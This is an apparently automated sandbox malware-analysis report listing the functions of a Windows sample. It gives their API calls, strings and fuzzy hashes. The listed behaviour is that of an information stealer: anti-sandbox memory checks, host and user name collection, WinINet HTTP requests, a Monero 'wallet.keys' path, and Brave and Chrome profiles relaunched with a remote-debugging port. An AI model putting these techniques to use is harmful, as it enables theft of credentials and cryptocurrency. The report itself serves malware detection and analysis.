Instruction ID: d6b5d418bcb540e4dbfae1aea4acf93058dd9de02eafdb38633ebe981302e0a6
Opcode Fuzzy Hash: 5ef23b61a15afd9c4843ead126f65883555b94f3ee6f674b780f1f683cac4342
Instruction Fuzzy Hash: E4011DB0D44308FBEF50DFE4CC4ABAEBBB8AB15705F248898E604B61C0D7B495458B59

Function 00BB6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013094D8,?,00BC10F4,?,00000000,?,00BC10F8,?,00000000,00BC0AF3), ref: 00BB6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BB6D88
CloseHandle.KERNEL32(00000000), ref: 00BB6D99
Sleep.KERNEL32(00001770), ref: 00BB6DA4
CloseHandle.KERNEL32(?,00000000,?,013094D8,?,00BC10F4,?,00000000,?,00BC10F8,?,00000000,00BC0AF3), ref: 00BB6DBA
ExitProcess.KERNEL32 ref: 00BB6DC2

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 37b8e64e5bfdf837b615b91aecce99958b834d27dd903d016e3320b9a95c2597
Instruction ID: 1d1812f056274a8d80c05d2e839a65839992894f59a93be1def503b14c864fe3
Opcode Fuzzy Hash: 37b8e64e5bfdf837b615b91aecce99958b834d27dd903d016e3320b9a95c2597
Instruction Fuzzy Hash: 3EF05830A48209AFEB10EBA0DC4ABFE33B4EF04701F5009B5B616A51E1CBF45944CA62

Function 00BA4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BA4889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00BA4899

Strings

<, xrefs: 00BA4819

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 429047109682d84d9472f6951e103b11a3a8d8afe6c3ecb63f8d1c535f6f69cb
Instruction ID: 0423f0b7ab355902e47c6904d2b2251cdcc32050aabcb946b212a991de4f993b
Opcode Fuzzy Hash: 429047109682d84d9472f6951e103b11a3a8d8afe6c3ecb63f8d1c535f6f69cb
Instruction Fuzzy Hash: D6215EB1D00209ABDF10DFA5EC46ADE7BB5FB04320F008665F925A7290EB706A09CB81

Function 00BB5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA62D0: InternetOpenA.WININET(00BC0DFF,00000001,00000000,00000000,00000000), ref: 00BA6331
Part of subcall function 00BA62D0: StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA6353
Part of subcall function 00BA62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BA6385
Part of subcall function 00BA62D0: HttpOpenRequestA.WININET(00000000,GET,?,0130E828,00000000,00000000,00400100,00000000), ref: 00BA63D5
Part of subcall function 00BA62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BA640F
Part of subcall function 00BA62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BA6421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BB5478

Strings

ERROR, xrefs: 00BB54C3
ERROR, xrefs: 00BB546A

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: db9440c7e0f55b726a211f9658c2fefa45c2c54dfaaf4b55d40387069432ffdc
Instruction ID: 248dfb4426716ef2848fead07e79715bf942eefea3a0c5a40dcb409da4eda4c0
Opcode Fuzzy Hash: db9440c7e0f55b726a211f9658c2fefa45c2c54dfaaf4b55d40387069432ffdc
Instruction Fuzzy Hash: 9411B170D10108ABCB24FF64D992BFD77B99F50340F5045E8F91A575A2EFB0AB04CAA2

Function 00BB7A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7AA0
RtlAllocateHeap.NTDLL(00000000), ref: 00BB7AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00BB7ABF

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c21a33e66d864a47ed11da3763cef6f58512ef3f136d68127ffb0cd419d40cf5
Instruction ID: f2ae9e88c00d02fa3f7c81a71f09b3ea7c919fab0a669c50c86d7ab1f348f89d
Opcode Fuzzy Hash: c21a33e66d864a47ed11da3763cef6f58512ef3f136d68127ffb0cd419d40cf5
Instruction Fuzzy Hash: 3B01D6B1948349EFC700CF89DC85FAEBBF8F744710F100169F515E2290D7B45A0487A1

Function 00BA1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BA112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00BA1132
ExitProcess.KERNEL32 ref: 00BA1143

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 56549b192f3f305fdf740bcfe534053a0cbf7ab8533e9e07c32f4f81edd24fae
Instruction ID: b34663c76fa6c8182ffb8c0f15587a1cbd7b498d567c6d3ff22bdadd6aa57a6a
Opcode Fuzzy Hash: 56549b192f3f305fdf740bcfe534053a0cbf7ab8533e9e07c32f4f81edd24fae
Instruction Fuzzy Hash: C0E086B094E308FFE750DBA19C0EB0C7668DB04B01F100094F70C761D0C6B425848658

Function 00BA10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00BA10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00BA10F7

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d44953b3a03f123baff9e7e8220e69b0b1ba2dbe349c811510cb2fbe49e70c4d
Instruction ID: 4d89d4c0c97a24a6cc7c00652c0c8987367e78a671ac1407f7b3669113950287
Opcode Fuzzy Hash: d44953b3a03f123baff9e7e8220e69b0b1ba2dbe349c811510cb2fbe49e70c4d
Instruction Fuzzy Hash: BCF0E9B1641204BBE7249AB89C59FAEB7DCE705704F300844F544E7280D5719E04C7A0

Function 00BA1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BB7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7AA0
Part of subcall function 00BB7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00BB7AA7
Part of subcall function 00BB7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00BB7ABF

Part of subcall function 00BB79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BA11B7), ref: 00BB7A10
Part of subcall function 00BB79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BB7A17
Part of subcall function 00BB79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BB7A2F

ExitProcess.KERNEL32 ref: 00BA11C6

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: dedae4b988104fd38eb6da971b919a9cd37c6e08f07a2db39e9122352222e17f
Instruction ID: ea00d28f94d85e3a36d9e4a3fb68e4689e8750eae6779d84a202b3df3b4d0495
Opcode Fuzzy Hash: dedae4b988104fd38eb6da971b919a9cd37c6e08f07a2db39e9122352222e17f
Instruction Fuzzy Hash: 39E012A594830157DE60B7B67C07B7B32CC9B5534EF000894F908B2102EEA5E8458665

Non-executed Functions

Function 00BABE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

FindFirstFileA.KERNEL32(00000000,?,00BC0B32,00BC0B2F,00000000,?,?,?,00BC1450,00BC0B2E), ref: 00BABEC5
StrCmpCA.SHLWAPI(?,00BC1454), ref: 00BABF33
StrCmpCA.SHLWAPI(?,00BC1458), ref: 00BABF49
FindNextFileA.KERNEL32(000000FF,?), ref: 00BAC8A9
FindClose.KERNEL32(000000FF), ref: 00BAC8BB

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 00BAC495
Brave, xrefs: 00BAC0E8
--remote-debugging-port=9229 --profile-directory=", xrefs: 00BAC3B2
Google Chrome, xrefs: 00BAC6F8
\Brave\Preferences, xrefs: 00BAC1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 00BAC534
Preferences, xrefs: 00BAC104

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: d37bb654ea698a604e2efb7e2d09f8b1e47f0fbd97768868838215b40ef0c559
Instruction ID: 3b22671935f5e2532155fed4aa083dca9cc46cef0f00f2186c28c0db651ad373
Opcode Fuzzy Hash: d37bb654ea698a604e2efb7e2d09f8b1e47f0fbd97768868838215b40ef0c559
Instruction Fuzzy Hash: C0521072910108ABCF24FB60DD96EFE77BDAF55300F4045E8B51A66191EE709B48CFA2

Function 00BB3B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BB3B1C
FindFirstFileA.KERNEL32(?,?), ref: 00BB3B33
lstrcat.KERNEL32(?,?), ref: 00BB3B85
StrCmpCA.SHLWAPI(?,00BC0F58), ref: 00BB3B97
StrCmpCA.SHLWAPI(?,00BC0F5C), ref: 00BB3BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00BB3EB7
FindClose.KERNEL32(000000FF), ref: 00BB3ECC

Strings

%s\%s, xrefs: 00BB3CBF
%s\%s\%s, xrefs: 00BB3C9A
%s\*, xrefs: 00BB3B10
%s%s, xrefs: 00BB3CFD
%s\%s, xrefs: 00BB3BCA

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 8335d576999c724415a54f0ca8648a1b9fa8feef52c7a0706b35c5d76a756700
Instruction ID: 0952194332dddee97c71c19df59e419ed203e449551350250f0c4a84cf7b2f28
Opcode Fuzzy Hash: 8335d576999c724415a54f0ca8648a1b9fa8feef52c7a0706b35c5d76a756700
Instruction Fuzzy Hash: C9A12EB1A002089FDB34DFA4DC85FFA73B8AB48700F4445D9B64DA6191EB709B88CF61

Function 00BB4B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BB4B7C
FindFirstFileA.KERNEL32(?,?), ref: 00BB4B93
StrCmpCA.SHLWAPI(?,00BC0FC4), ref: 00BB4BC1
StrCmpCA.SHLWAPI(?,00BC0FC8), ref: 00BB4BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00BB4DCD
FindClose.KERNEL32(000000FF), ref: 00BB4DE2

Strings

%s\%s, xrefs: 00BB4BF4
%s\*, xrefs: 00BB4B70
%s\%s, xrefs: 00BB4C4B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
